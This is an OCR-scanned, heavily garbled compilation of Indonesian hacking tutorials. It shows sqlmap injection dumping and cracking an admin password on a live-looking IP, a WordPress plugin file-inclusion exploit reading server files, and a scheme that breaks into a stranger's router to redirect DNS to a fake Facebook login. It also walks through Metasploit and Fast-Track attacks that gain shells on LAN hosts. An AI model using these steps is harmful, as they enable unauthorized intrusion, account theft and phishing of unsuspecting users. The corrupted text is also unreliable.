AT(CHAR(58, 119, 101, 115, 58), | FNULL( CAST( CHAR( 115, 119, 81, 71, 68, 119, 120, 102, 119, 12
0

) AS CHAR), CHAR(32)), CHAR(58, 111, 104, 103, 58)) # AND ' ql py' =' gl py

[06:42:03] [INFQ the back-end DBMS is M/SQL

web server operating system Wndows

web application technol ogy: PHP 5.2.6, Apache 2.2.9
back- end DBM5: MySQ 5.0

[06:42:03] [INFQ fetching tables for database 'web'
[06:42:03] [INFQ read fromfile

" C.\'sql nap\ sql nap\ out put\ 180. 254. 99. 68\ sessi on' :
web, jara_categories, web, jara_comments, web, jara_pages,
, jara_settings, web, jara_ users

Dat abase: web

[6 tables]

+
| jara_categories
| jara_coments

| jara_pages

| jara_posts

| jara_settings

| jara_users

[06:42:03] [INFQ Fetched data |ogged to text files under
" C \sql nap\sql nap\ out p
ut\ 180. 254. 99. 68"

[*] shutting down at: 06:42:03

web,

jara_posts,

web

Setelah kita mengetahui table-tablenya, kita coba explore username dan passwordnya,

disini penulistebak adadi jara_users

C:\'sql nap\ sql map>pyt hon sql map.py -u "http://180.254.99. 68/ web/ vi ew. php?i d=1" -

-r
andomagent --threads 10 -D web -T jara_users --colums

sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sglmap.sourceforge.net

[*] starting at: 06:44:12

[06:44:13] [INFQ fetched random HTTP User-Agent header fromfile

"C \sql map\sql

map\t xt\user-agents.txt': Opera/9.80 (X1l1; Linux i686; U
Vers

ion/10.54

it) Presto/2.5.24

[06:44:13] [INFQ using ' C\sql map\sql nap\out put\ 180. 254. 99. 68\ sessi on' as

sessi o


http://180.254.99.68/web/view.php?id=1
http://sqlmap.sourceforge.net

nfile

[06:44:13] [INFQ resunming injection data fromsession file

[06:44:13] [INFQ resum ng back-end DBVMB 'nysql 5.0 fromsession file
[06:44:13] [INFQ testing connection to the target url

[06:44:34] [CRITICAL] unable to connect to the target url or proxy, sqlmap is
go

ing to retry the request

sql map identified the followi ng injection points with a total of 0 HTTP(s)
reque

sts:

Pl ace: GET

Paranmeter: id

Type: bool ean-based blind

Title: AND bool ean-based blind - WHERE or HAVI NG cl ause

Payl oad: id=1'" AND 1748=1748 AND 'rjlZ ='rjlZ

Type: error-based

Title: MYSQL >= 5.0 AND error-based - WHERE or HAVI NG cl ause

Payl oad: id=1'" AND (SELECT 1828 FROM SELECT COUNT(*), CONCAT( CHAR( 58, 119, 101,
115, 58), ( SELECT ( CASE WHEN (1828=1828) THEN 1 ELSE 0

END) ), CHAR(58, 111, 104, 103, 5

8), FLOOR( RAND(0) *2) ) x FROM i nformati on_schena.tabl es GROUP BY x)a) AND
"VSIx' =V

Sl x

Type: UN ON query

Title: MySQL UNION query (NULL) - 1 to 10 col ums

Payl oad: id=-9318" UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONC
AT(CHAR(58, 119, 101, 115, 58), | FNULL( CAST( CHAR( 115, 119, 81, 71, 68, 119, 120, 102, 119, 12
0

) AS CHAR), CHAR(32)), CHAR(58, 111, 104, 103, 58)) # AND ' gl py' =' gl py

[06:44:35] [INFQ the back-end DBMS is M/SQL

web server operating system Wndows

web application technol ogy: PHP 5.2.6, Apache 2.2.9

back- end DBM5: MySQ 5.0

[06:44:35] [INFQ fetching colums for table 'jara_users' on dat abase 'web'
[06:44:35] [INFQ read fromfile

' C.\'sql nap\ sql nap\ out put\ 180. 254. 99. 68\ sessi on' :

id, int(11), username, varchar(24), password, varchar(41), perm ssion_posts, in
t(11), perm ssion_pages, int(11), perm ssion_users, int(11), perm ssion_upload,
int(11)

Dat abase: web

Tabl e: jara_users

[7 col ums]

oo N +
| Col um | Type |
Fomrm - N +
| id | int(11) |
| password | wvarchar (41) |
| perm ssion_pages | int(11) |
| permssion_posts | int(11) |
| perm ssion_upload | int(11) |
| permssion_users | int(11) |
| username | wvarchar (24) |
oo - +

[06:44:35] [INFQ Fetched data |ogged to text files under
" C \sql nap\sql nap\ out p
ut\ 180. 254. 99. 68"



[*] shutting down at: O06: 44:35

C:\ sql nap\ sql nap>

Hihi ternyata benar ada di table jara_users, sekarang tinggal kita lihat username dan
passwordnyayang dimanadi SQLMap ini

akan otomatis mencoba mengarahkan untuk dictionary attack jika passwordnya
dienkripsi. Perintahnya:

C:\'sql nap\ sql map>pyt hon sql map.py -u "http://180.254.99. 68/ web/ vi ew. php?i d=1" -
-r
andom agent --threads 10 -D web -T jara_users -C usernane, password - -dunp

sql map/ 0.9 - automati ¢ SQL injection and database takeover t ool
http: //sql map. sour cef or ge. net

[*] starting at: 06:22:31

[06:22:31] [INFQ fetched random HTTP User-Agent header fromfile

"C \sql map\sql

map\t xt\user-agents.txt': Mzilla/5.0 (Wndows; U Wndows NT 6.1; cs;
rv:1.9. 2.

3) Gecko/ 20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729)

[06:22:31] [INFQ using ' C\sql nap\sql map\out put\ 180. 254. 99. 68\ sessi on' as
sessi 0

nfile

[06:22:31] [INFQ resunming injection data fromsession file

[06:22:31] [INFQ resum ng back-end DBVMB 'nysql 5.0 fromsession file
[06:22:32] [INFQ testing connection to the target url

sqgl map identified the followi ng injection points with a total of 0 HTTP(s)
reque

sts:

Pl ace: GET

Paraneter: id

Type: bool ean-based blind

Title: AND bool ean-based blind - WHERE or HAVI NG cl ause

Payl oad: id=1'" AND 1748=1748 AND 'rjlZ ='rjlZ

Type: error-based

Title: MYSQL >= 5.0 AND error-based - WHERE or HAVI NG cl ause

Payl oad: id=1'" AND (SELECT 1828 FROM SELECT COUNT(*), CONCAT( CHAR( 58, 119, 101,
115, 58), ( SELECT ( CASE WHEN (1828=1828) THEN 1 ELSE 0

END) ) , CHAR(58, 111, 104, 103, 5

8), FLOOR( RAND(0) *2) ) x FROM i nformati on_schena.tabl es GROUP BY x)a) AND
"VSIx' =V

Sl x

Type: UN ON query

Title: MySQL UNION query (NULL) - 1 to 10 col ums

Payl oad: id=-9318" UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONC
AT(CHAR(58, 119, 101, 115, 58), | FNULL( CAST( CHAR( 115, 119, 81, 71, 68, 119, 120, 102, 119, 12
0

) AS CHAR), CHAR(32)), CHAR(58, 111, 104, 103, 58)) # AND ' ql py' =' gl py


http://180.254.99.68/web/view.php?id=1
http://sqlmap.sourceforge.net

[06:22:32] [INFQ the back-end DBMS is M/SQL

web server operating system Wndows

web application technol ogy: PHP 5.2.6, Apache 2.2.9

back- end DBM5: MySQ 5.0

[06:22:32] [INFQ fetching colums 'usernane, password entries for table
"jara_

users' on dat abase ' web'

[06:22:32] [INFQ read fromfile

" C:\'sql nap\ sql nap\ out put\ 180. 254. 99. 68\ sessi on' :

adm n, ba856797a6ed7651c7e6965ef eead66cb632f 0a5

recogni zed possi bl e password hash val ues. do you want to use dictionary attack
0

nretrieved table itens? [Y/n/q] vy

[06:22:36] [I NFQ using hash nethod: 'shal_generic_passwd'

what's the dictionary's |l ocation? [C \sql map\ sql map\ t xt\wordlist.txt]

d: \ passwor

d. txt

[06:23:37] [INFQ loading dictionary from 'd:\password.txt'

do you want to use conmmon password suffixes? (slow) [y/N vy

[06:23:44] [INFQ starting dictionary attack (shal_generic_passwd)
[06:23:44] [INFQ found: 'butterfly' for user: 'admn'

[06:23:44] [CRITICAL] there has been a file opening error for filenane
"C\sqglna

p\ sqgl map\ out put\ 180. 254. 99. 68\ dunp\web\jara_users.csv'. Please check wite
perm s

sions on a file and that it's not |ocked by anot her process.

[*] shutting down at: 06:23:44
C:\'sql nap\ sql nap>
Binggo kita mendapatkan usernamenyayaitu admin dan passwordnyayaitu butterfly.

Oleh Kurniawan - yk family code@yahoo.com
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Membahas celah keamanan LFI pada suatu plugin
Wordpress

File Edit Wiew Insert  Modify Text Commands Site  WWindow  Help

Common ~ = A BE E E &3 f

] I-Dg'-.-'iew.php

== Split I|.--_L.i[ Desigr | (&7 Title: |

e PrreEe o Ty o T R Ll g e Y i B 0 1 3 s TerEl

[
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1
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i

=
1

gops_file=urldecode (5 GET["op=s L£ile™]):
header ('Content-type: text/html: charset
if [[@Afile exists(Sfops_Ffile)) §

Print. Taprestt:

foreach (Eile(fops _file)] as 5line)

Ll i B ST A -

Local file inclusion merupakan suatu celah keamanan web yang di mana attacker dapat
mengakses file-file didalam server, pembahasan kitadisini adalah pada celah keamanan
Plugin Wordpress yang bernama WordPress OPS Old Post Spinner versi 2.2 yang dimana
informasi bug ini didapatkan dari Autosec Tools, mari kita bedah salah satu file php yang
bernama logview.php.

<?php
/* Copyright 2010 Juergen Schul ze, 1lnanfactory.com

This programis free software; you can redistribute it and/or nodify
it under the terns of the G\U General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This programis distributed in the hope that it will be useful,
but W THOUT ANY WARRANTY; without even the inplied warranty of
MERCHANTABI LI TY or FI TNESS FOR A PARTI CULAR PURPCSE. See the

G\U General Public License for nore details.



You shoul d have recei ved a copy of the GNU General Public License

along with this program if not, wite to the Free Software

Foundation, Inc., 59 Tenple Place, Suite 330, Boston, MA 02111-1307 USA
*/

$ops_fil e=url decode($_CET["ops_file"]);
header (' Content-type: text/htnml; charset="utf-8""',true)
if (@ile_exists($ops_file)) {

print “"<pre>";

foreach (file($ops_file) as $line) {

print $line;

}

print "</ pre>";

} else {

print '<br>No logfile until now ;
}

Di atas kitatemukan ada variabel $ops_file yang menggunakan urldecode hehe, untuk
informasi tentang urldecode masuk gjake
http://php.net/manual/en/function.urldecode.php.

Disini penulis contohkan melakukan urldecode pada suatu teks

<?php
echo url decode(" Kur ni 4C3wAC3n+g%C3nt eng”) ;
?>

Hasilnya:
KurniAwAn gAnteng
Halah masih main-main gja hehe. Nah bagaimanajika :

<?php
echo url decode("%2f") ;
?>

Hasiinya adalah

Dengan begitu diketahui bahwa urldecode tidak aman untuk tindakan filtering pada suatu
variabel, nah akibatnya memungkinkan penulis untuk dapat memanfaatkan variabel
ops file untuk obok-obok server hehe.

PoC yang penulis lakukan untuk melihat setting PHP.INI di server target.

http://180.246.176.178/wp-content/plugi ns/old-post-
spinner/logview.php?ops _file=..%2f..%2f.. %@2f.. 9%@2f.. ¥2fphpY2fphp.ini



http://php.net/ma
http://180.246.176.178/wp

File Edit  ‘Wiew Faworites Tools  Help

Do QBN B ] Do s @ 35 BB
Bddress | hkkp:ff180,246, 176, 178 wp-contertplugins fold-post-spinner /logview, phprops_File=, . %2f, %2, %2f, . %2F. , %2fphpYs2fphp.ini

upload mwax filesize = 1Z8H

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
gllow url fopen = On

; Whether to allow includefrecquire to open URLs (like http:// or ftp:/f/) as files.
; http://php.net/allow—url-include
allow url include = On

; Define the anonvmous ftp password (your email address). PHP's default setting
: for this is empty.

; http://php.net/from

sfrom="johnidoe. com"

s Define the User-Lgent string. PHP's default setting for this is empty.
; http://php.net/user-agent

;user agent="PHP"

; Default timeout for socket based streamwms [(sSeconds)

: http://php.net/default-socket-timeout

default =zocket timeout = 60

T woany acrrintra hatrs to Aeal wwirth 4 lea Ffrom Macintrnah awrarems

Celah LFI ini dapat cukup berbahaya jika server mempunyai celah keamanan lebih jauh
lagi didalamnya, oke, sekian dulu, cayooo

Oleh Kurniawan - yk family code@yahoo.com
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Hacking Facebook para pengguna jaringan lokal via
Internet

Saat ini banyak cafe, kantor, mall dan sebagainya yang memanfaatkan speedy sebagal
koneksi internet yang kemudian dishare aksesnya baik ke switch atau acces point.

Baiklah tools yang dapat sigpkan jika ingin memulai adalah :

1. Simple DNS Server

2. Fake login Facebook

3. Hydradan dictionarynya

4. Web Server

Untuk koneksi maka anda memerlukan akses yang dimana anda memiliki IP Publik untuk
membuat DNS Server di komputer anda, jika andatidak punya coba cari akses komputer
yang mempunyai |P Publik misal di kantor anda bekerja dan sebagainyayang dapat
dimanfaatkan untuk pembuatan DNS Server.

Di sini diasumsikan anda memiliki koneksi Speedy, jika anda menggunakan Modem
router dan belum dilakukan IP Forwarding untuk port DNS Server dan web server yang
ada dikomputer maka lakukan terlebih dahulu.

Setelah dilakukan forwarding makatinggal anda install DNS Servernyayaitu Simple
DNS Server.

Open Simple DNS Plus

| EditonE Recards

DS Look Lip

i : Shutdown Simple DNS Plus
£ free all download: .. 8 Diovenloads i B .




Klik DNS Records

ok senerdua - DME Records el B |
i Wiew s Tools  Help
- - A E?
£y i CEd Fasin Froperas Bulk... Help
Quickgne vizard.. R
i M arne Type TTL Data Con
B 1'_:}3 Primary Zones
L3 Secondary Zones
[ Zone Groups
i e | B

Muncul tampilan seperti diatas setelah klik DNS Records. Klik Quick Zone Wizard

Quick Zone Wizard - Default Templats a |5 R

Quick Zone Wizard

R
Zone Mame: | facebook. com

Web server IP: 18025492199 | (W] [ ]
E-mail server |F: . |-;| i_-l
FTP server IP: ! !”";! [_]
i Usze as default | i 0K ] | Cancel |

Masukkan Zone namenya facebook.com lalu web server IP-nya diset |P Speedy anda,
lalu klik OK.



() setverdua - DNS Recdrds : EE=cT]

File Edit ¥iew Tools Help

z_# - za' ; —P‘ -_I-. : i E" al
I e Qick... =i Pl Faete  Deléte | Propeties | Bulk.. Help
Zores fiacebookecom |
1;{3 Al Zones Name Tupe TTL Data Con
2 1-4{:' Primary Zones facebook. ciom S04 10800 zerverdua [20011102501]
LB Secondary Zones facebook. com & 10800  180.254.92.133
[ 1 Zane Groups facebook. com M5 10800 zerverdua
g - | v facebook, com CHAME 102300 facebook.com

iﬂ faceboaok.com

4 | - ] ¥

4 DMS Records

Binggo, kitatelah mendaftarkan domain facebook.com ke DNS Server kita untuk
diarahkan ke IP Speedy kitayaitu 180.254.92.199. Setelah ini kita pasang web fake login
facebook di web server kita, yang letaknya satu komputer dengan DNS Server kita sga
biar selain irit IP publik jugasamasaa

Erail k.ata Sandi

teman lebih Mendaftar
Anda berad a Gratis, sampai kapan pun,
dia pada Mama Depar: [

Hama Belakang:
==

aera dan keritak ponsel Email Anda:

Setelah kita melakukan redirect IP ke komputer kitadari router modem lalu memasang
DNS Server kemudian melakukan setting dan memasang fake login di facebook di web



server, tinggal anda memasukkan |P Speedy yang dimiliki ke input Primary DNS Server

yang ada di router modem target.

Mari kita coba salah satu target, seperti biasa, salah satu target empuk adalah para chatter

di IRC.

EDALnet = Have a Hice Chat = Enjoy Your Stay = GAME

h?t5put_manla Infa

LUES L Bs oo
h_
Helooouw

ii ”
is fan Aok

jogja ki
Kling Cortral #
komenk . CTCR b
Kursus HMODEL . e i

laki_luckypeng 2
Lazio | slap!
Lowongan_kapstersaron

nm r+ tanta

Di atas ada chatter dengan nick hotspot_mania, saat diwhois hasilnya adalah :

hotspot mania is ~hotspot@188.246.171.252 * hotspot
hotspot mania on #jogjakarta

hotspot _mania using arcor.de._eu.dal._net www_arcor.de - Arcor Online Services
hotspot mania has been idle 3mins 4Bsecs, signed on Wed Oct 26 18:29:59

hotspot_mania End of /WHOIS list.

Kita mendapatkan IP target yaitu 180.245.171.252, lalu kita pastekan |P-nya ke browser.

Fhistarsy  Bbbkongiks Faek el

ol A _ hitpef180.246.171.252

Authentication Required

A Username and password are being requested by hekp /1180, 246,171,252, The sike says;
"TL-3517" i i ' i :
‘User Mame: | | |
Passwiord: | |

(8]4 J [ Cancel ]




Setelah kita masukkan IP tersebut di browser tampil inputan seperti diatas, disini jika
password default tidak dapat menembus keamanan router modem maka anda dapat
memanfaatkan Hydra untuk membobolnya, cara menggunakannyaada di artikel
sebelumnyadi blog ini.

Setelah masuk ke router dan router modemnyatarget adalah TP-LINK maka dapat klik
Interface Setup, lalu LAN lalu DHCP dalam posisi enabled.

Tp'LIN Ki ADSL2/2+ Ethernet/!

1
Guick Advanced Access Maiienance .
Interface Start & Setup Management

i

Router Local IP

P Address : [192.168.1.1
IP Subinet sk ; [255.255.255.0
Dynamic Route RIF‘Z-EIV I Dirécticnn: Nl:nne v
Wuticast ; | Disabled ¥
IGMF Znoop: (2) Disabled  Erabled

DHCP

3
DHCP: () Disamenahled O Relay

Diset Primary DNS Servernya dengan |P Speedy kitayang mengarah ke DNS Server
kita. Untuk Secondary di isi DNS Servernya 8.8.8.8 sgja.
| B |
DHS
DHS Relay | | Uise Uiser Discovered DNS Server Orly |
Frimary DS Server : 1 8025492199 .
Secondary DMNS Server DDDEI

Jika sudah demikian, anda dapat menebak apayang akan terjadi jika para pengguna
hotspot, jaringan dan sebagainya yang memanfaatkan DHCP dari modem router ini.
Cayoo

Penulis tidak bertanggung jawab atas semua hal yang diakibatkan oleh artikel ini.

Oleh Kurniawan - yk family code@yahoo.com
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Hacking komputer di jaringan dengan X-code Linux
0.0.1

X-code Linux adalah Distro Linux yang didesain untuk melakukan hacking, disini
penulis memberikan tutorial hacking menggunakan X-code Linux. X-code Linux adalah
Distro Linux yang menggunakan turunan Slackware, Distro Linux X-code di buat oleh
Jerry Maheswara pada tahun 2008. Bagi yang belum punya X-code Linux silahkan di
download di http://xcode.or.id/distroxcode.htm.

Kalau sudah di download silahkan di burn ISOnya ke CDROM atau bisajuga 1SOnya
dimasukkan ke Virtualisasi. Oke kita langsung praktek saja

Saat Booting X-code Linux akan muncul tampilan seperti dibawah ini.

x-code Linux (CLI doang)
Test Femory

Pen jelasan:

x—code Linux (CLT doang), karena
hacker tidak butuh tampilan
desktop yang memukau . . .

Klik gaX-code Linux (CLI doang)


http://xcode.or.id/distroxcode.htm

OCFSZ DIM 1.3.3

OCF3Z2 DLMFS 1.3.3

OCF5Z User DIM kernel interface loaded

GF3Z (built Apr 23 2008 11:51:13) installed

async_tx: api initialized (sync-only)

io scheduler noop registered

io scheduler anticipatory registered

io scheduler deadline registered

io scheduler cfg registered (default)

Limiting direct PCI/PCI transfers.

Activating ISA DMA hang workarounds.

pci_hotplug: PCI Hot Plug PCI Core version: 0.5

vesafb: framebuffer at Oxe@QOOOOQ, mapped to OxdOSBOOOO, uzing 1875k, total 1228

Nah abis itu tunggu

Login . root

Pas=zuword : xcode

Saat diminta untuk masukkan login username dan password masukkan g a dengan login
root, password xcode.



Selanjutnya dgpat anda ikuti gambar dibawah ini.

rootEx—code
otal @
PUXE—XI—X

ruxr—-xr—-x 43 root root 200 Oct 30

PUXT X=X
rootEx—code
rgotEx—code
E¥kA LA
rootEx—code

7% 1s —al

3 root root 2007

£3:55

2007

"
~

Z0 May 8
3 root root
T cd
i 1s
O | it s
i 0 Ry
i#8 cd pentest

39 May 25

ispentesti 1s

IsSCas
oot@x—code
ootEx—code
oot@x—code
ootEx—code

fae

e
NHCOREDrS A
rootEx—code

cepentest# od exploits
r#pentestrexploitsf Is
o YT e

mil

:zpentestzexplnitéﬂ cd FrameworkZ
ropentestrexploits/franeworkeft ls

m=felfscan» m=fueh=
i msfconsolex msfencode= msfpescan=
ih mefdldebug»* meflogdump= mnsfupdatex

ivpentestrexploits/franeworkdd ./msfconsole

tses msfcli=

S

msfpayload»=

Di sini kita akan menjalankan Metasploit Framework, menggunakan msfconsole.



ootBx—code pentestsexploits-frameworkZ . msfoonsole
sing Term::BeadLine: :Stub, I suggest installing something betiter (ie Term: :Rd

metasploit >

\ [ I
(oo)
] A

=11 =

=[ msfconsole uZ B-deuv [158 exploits — 76 payloads]

- ifconfig
Link encap:Ethernet HWaddr OB:00:27:23:11:5f
inet addr:192.168.1.11 Bcast:255.255.255.255 Mask:255.255.255.0
UF BROADCAST NOTRAILERS RUNMING MULTICAST MTU:1500 Metric:1
RX packetz:!95 errors:0 dropped:Q overruns:0 frame:0
T¥ packets:94b6 errors:0 dropped:0 overruns:!0 carrier:0
collizsions: 0 txqueuelen: 1000
B¥ bytes:13777¢ (13.4 RiB) TX bytes:46412 (45.3 RKiB)
Interrupt:10 Base address:0xd020

Setelah masuk ke M etasploit Framework, penulis lupa belum memeriksa ip address
komputer sendiri hehe, baiklah di msf bisakok, kita klik gja ifconfig, disitu tampil ipnya
adalah 192.168.1.11.

mzf > nmap —=P 192.168.1.1-.24

tarting Mmap 4.60 ¢ http:-rnmap.org ) at 2011-10-31 00:14 GNT
ozt 192.168.1.1 appears to be up.

IAC Address: 94:0C:6D:FD:5B:46 (Unknoun)

opst 192.168.1.6 appears to be up.

IAC Address: 00:27:19:1D:80:13 (Unknoun)

pst 192.168.1.11 appears to be up.

pst 192.168.1.22 appears to be up.
IAC Address: 00:40:F4:27:E5:BA (Cameo Communications)

pst 192.168.1.57 appear=s to be up.
iAC Address: 08:00:27:3F:48:0C (Cadmus Computer Systems)
ost 192.168.1.91 appears to be up.
IAC Address: O0:0E:EB:EB:38:38 (=zioncom)
opst 192.168.1.96 appears to be up.
AC Address: 00:40:F4:27:E5:BA (Camep Communications)
dome: 256 IP addresses (¥ hosts up) scammed in 7.805 seconds

Kita scanning dulu ip lokal dijaringan kita padarange 192.168.1.1/24. Disini kita
menggunakan NMAP, perintahnyaNMAP -sP (range ip)



Nah dari IP yang muncul kita pilih sgja salah satu target, misakan 192.168.1.57, kita scan
dengan NMAP -A (IP target).

I > nmap —fi 192.168.1.57

Starting Mmap 4.60 ( http:/snmap.org ) at 2011-10-31 00:18 GMT
Interesting ports on 192.168.1.57:
iot shown: 1710 closed ports
: STATE SERVICE VERSION
135-tcp open m=Erpc Microzoft Windows RFC
139-tcp open nethi =n
i open nmicros = Microsoft Windows XTI microsoft-ds
open Microsoft Windows RPC
OpeEn  upnp Microsoft Windows UPnP
D 0B:00:Z27:3F:48:0C (Cadmus Computer Systems)
! general purpose
umming: Microsoft Windows 2000
05 detailz: Microzoft Windows 2000 5PO-5P1/5T7Z2 or Windows XP SP1
ietwork Distance: 1 hop
Service Info: 05: Windows

gcript rezults:
AT: NetBIDS name: WINXP, NHetBID3S MAC: 08:00:27:3F:45:0C
Dizcouver 03 Uerzion over NetBIDS and 3MB: Windowus XP

05 and Service detection performed. Pleaze report any incorrect results at

Dari tampilan diatas kita mengetahui target menggunakan sistem operasi Windows. Kita
coba salah satu exploit Windows, untuk mengetahui exploit-exploit yang ada di
metasploit Framework maka dapat dengan perintah show exploits.

Disini kita akan mencoba dengan exploit RPC DCOM. Cara melakukan exploitasinya
untuk mendgpatkan shell dapat sebagai sebagai berikut :

USE MSrpc_dcomn_ns P

» set TARGET @
» set RHOST 192.168.1.57
» set PAYLOAD win3Z bind

I > exploit

[2]
[#] Sending reguest...
[#] Got commection from 192.168.1.11:60023 <> 192.168.1.57:4444

HMicrosoft Windows XP [Version 5.1.26001
(C) Copyright 1985-2001 Microsoft Corp.

CSWINDDWSNsysten3Z>_

Binggo, kita berhasil masuk ke komputer target.



Nah mudahkan melakukan hacking dengan Metasploit Framework yang sudah ada di
distro Linux X-code. Oke silahkan melakukan explorasi sendiri X-code Linuxnya, cayoo.

Oleh Kurniawan - yk family code@yahoo.com
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Hacking komputer otomatis di jaringan menggunakan
X-code Linux 0.0.2 dengan memanfaatkan fast-track

Di artikel sebelumnya penulis mencontohkan hacking dengan menggunakan X-code
Linux 0.0.1, saat ini penulis mencontohkan hacking dengan menggunakan X-code Linux
0.0.2 yang memanfaatkan program Fast-track yang sudah ada di dalamnya.

Oke, kita langsung praktek saja. Masukkan CD X-code Linux lalu lakukan boot, akan
tampil tampilan seperti dibawah ini.

»—code Linux (CLI)
wcode Lintx (KDE)
Test Memory

Penjelazan:

®x—code Linux (CLI), karena
hacker tidak butuh tampilan
desktop yang memukau. . .

Pilih X-code Linux CLI sgjayang lebih ringan



Freeing unused kernel memory: 381k freed
starting Linukx Live scripis <hitpi rsuae. linnx—live.org. >
starting loop device support
starting cdrom filesystem support
starting squashfs support
starting aufs support with brs=1
starting linux filesystem support
starting windows filesystem support

Ditunggu saja

i x—code Linux ber jaya dan ziap pakai

Login ! root

Password : xcode

Saat diminta melakukan login maka login dengan root dan passwordnya xcode.
Selanjutnya dgpat ikuti perintah dibawah ini.



¥—code login: root
Passuword: sesseses

Last login: Thu Dec 4 08:48:41 +0700 2008 on pits-0 from 10.11.12.1.

ls
omes . mnts
e IPLA
i cd pentest
i windows_binariese

Dalam direktori pentest ini banyak pilihan untuk melakukan pentest, disini kita
menggunakan fast-track sgja.

i windows_hinariesp@
=

' cd fast track
ki 1%
fast-track. pg* pentest eadmnes Setup. pys*
10x-code ;- et ki ifconfig
ethd Link Encap Ethernet HUaddr 08:00:27:23:f1:5f
inet addr:192.168.1.11 Bcast:255.255.255.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 HMetric:1
RX packetz:6401 errorsz:16 dropped:0 overruns:0 frame:0
TX packet=s:617Z2 errors:0 dropped:0 overruns:0 carrier:0
collizsionzs:0 txqueuelen:1000
B¥ bytes:3195568 (3.0 MiB) TX bytes:7?39158 (7Z21.8 KiB)
Interrupt:10 Base address:0xd020

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

UP. LOOPBACK RUNNING MNTU:16436 Metric:1

RX packetz:0 errors:0 dropped:0 overruns:0 frame:0
TX packet=:0 errors:0 dropped:0 overrunz:0 carrier:0
collisions:0 txquenelen:0

RX byte=:0 (0.0 B) TX bytes:0 (0.0 E)

rrstlx—code:

x-code never die...,yogyafree live forever .,



Dengan ifconfig kita dapat mengetahui |P komputer kita. Setelah kita kita lakukan
scanning dengan nmap -sP (range ip), contohnya sebagai berikut yang sebenarnya sama
caranya dengan tutorial sebelumnya:

tEx—code: fazt ok # onmap —=P 192 .168.1.1-24

Starting Hmap 4.60 ( http:ssmmap.org ) at 2011-10-31 03:24 WIT
Host 192.168.1.1 appears to be up.
: 94:0C:6D:FD:58:46 (Unknown)
.1.6 appears to be up.
00:27:19:1D:80:13 (Unknown)
.1.11 appears to be up.
.1.22 appears to be up.
MAC fAddress: 00:40:F4:27:E5:BA (Cameo Communications)
Host 192.168.1.39 appears to be up.
MAC Address: 08:00:27:3F:48:0C (Cadmus Computer Systems)
-(Host 192.168.1.91 appears to be up.
MAC Addrezs: O0:QE:EB:EB:38:38 (zioncom)
Host 192.168.1.96 appears to be up.
HAC Address: 00:40:F4:27 :E5:BA (Cameo Communications)
Hmap done: 256 IP addresses (7 hosts up) scammed in ?7.710 seconds
e x—code

x-code never die .., yogyafree live forever..

Di sini penulis memilih target dengan IP address 192.168.1.39, disini penulis tidak
memeriksa lebih jauh IP-nyakarena disini penulis akan menggunakan fast-track dimana
program ini akan otomatis mendeteksi OS target dan celah keamanannyayang lalu akan
memnberikan hasilnya kepada kita.

Kita dapat mencoba dengan perintah dibawah ini untuk informasi fast-track.py.



puthon fast-—track.puy

Fazt-Track uv3.0 — UWhere speed really does matter...
fintomated Penetration Teszting

Written by David Kemmedy {ReLl1EK)
Securestate, LLC

http: . suwu.securestate.comn
dkenmedy@zecurestate  com

Please read the README and LICENSE before using
this tool for acceptable use and modifications.

Interactive Menu Driven Mode:
Command Line Mode: —c
Web GUI Mode —qg

Example=s: .-fast—track.py —i
Fast—track.py —c
fazst—track.py —qg
csfast—track . py —g <portnum>

Uzage: .-fast—track.py <mode>

rontix—code:

Kita gunakan mode interactive Menu Driven Mode sgja.

Perintahnya Python fast-track .py -i maka akan tampil seperti dibawah ini



FreeTDS and PYMMSOL are installed. (Check]) e
PExpect is installed. (Check) ==

ClientForm is installed. (Check) ==

Psyco is installed. (Check) ==

filso ensure ProFTP, WinEXE, and SfQLite3d i=s installed from
the Updates-sInstallation menu.

Your system has all requirementz needed to run Fast-Track?
Fast—Track Main Menu:

Fast-Track - Where speed really does matter...
Uersion: 3.0

Written by: David Kemmedy (ReL1lK)
http:7uww.securestate.conm

Fast-Track Updates
External Hacking

Internal Hacking

Exploits

BackTrack Seruver 3eruvices
Tutorials

Change log

Credits

About

0. Exit

g I R I B [ AR B N

Enter the number:

Kita pilih nomor 2 yaitu External Hacking



Your =ystem has all reguirements needed to run Fast-Track!
Fast-Track Main Henu:

Fast—-Track — Uhere =peed really doez matter...
Verzion: 3.0

Written by: Dauid Kemnnedy (HeL1K)
hittp:/rwuw.securestate .com

Fast-Track Updates
External Hacking

Internal Hacking

Exploits

BackTrack Server Seruvices
Tutorials

Change log

Credits

About

0. Exit

i
2.
3.
g £
5.
b.
V.
a.
=
1

Enter the number: 2
External Pentesting Menuw:

. Port Scamming

. Launch Manual M3FConsole

. Autopun Metasploit Automated

. FTP Brute Forcer

. Auto SOL Injector

. Binary to Hex Payload Generator

. Heta=sploit Mass Client-Side Attack
. Return to Previous Henu

CO =1 N b L

Enter a number: 3

Kita pilih nomor 3 yaitu Autopwn Metasploit Automated.



Fast—Track Updates
External Hacking

Internal Hacking

Exploit=s

BackTrack 3eruver Seruices
Totorials

Changelog

Credits

fibout

g. Exit

o = 8= [ B R TR A

Enter the number: 2
External Pentesting Menu:

Fort Scamming

Launch Manual MS3FConsole

Autopun Metasploit Auntomated

FTP Brute Forcer

Auto SOL In jector

Binary to Hex Payload Generator
Metasploit Mass Client—-3ide Attack
Return to Preuious Menu

z P
Z.
18
4.
5.
6.
o
.

Enter a number: 3

Choose which option you would like to do:

1. Bun Metasploit Autopun
. Update Metasploit

Choose a number: 1_

Di sini kita pilih nomor 1 yaitu Run Metasploit Autopwn.



Choose which option you would like to do:

1. Bun Metasploit Autopun
Z. Update Metasploit

Choose a number: 1
Metasploit Autopun Automation
hitpis-uuwuw _netasploit.com

Thiz tool specifically piggy backs some commands from the Metasploit
not modify the Metasploit Framework in anyway. This is simply to autc
from the autopun feature already developed by the Metasploit creu.

Simple, enter the IP ranges like you would in HMap i.e. 192.168.1.-25
or whatever you want and it'11 run against those hosts. Additionally
commands within the autopun ip ranges bar, for example, if you want
host "appears doun” just do -PN 192.168.1.1-254 or whateuver...you cai
syntaxes in the Autopun IF Ranges portion.

When it has completed exploiting simply type this:

zessions -1 (lists the shells spauned)
sessions —i {id> (jumps you into the sessions)

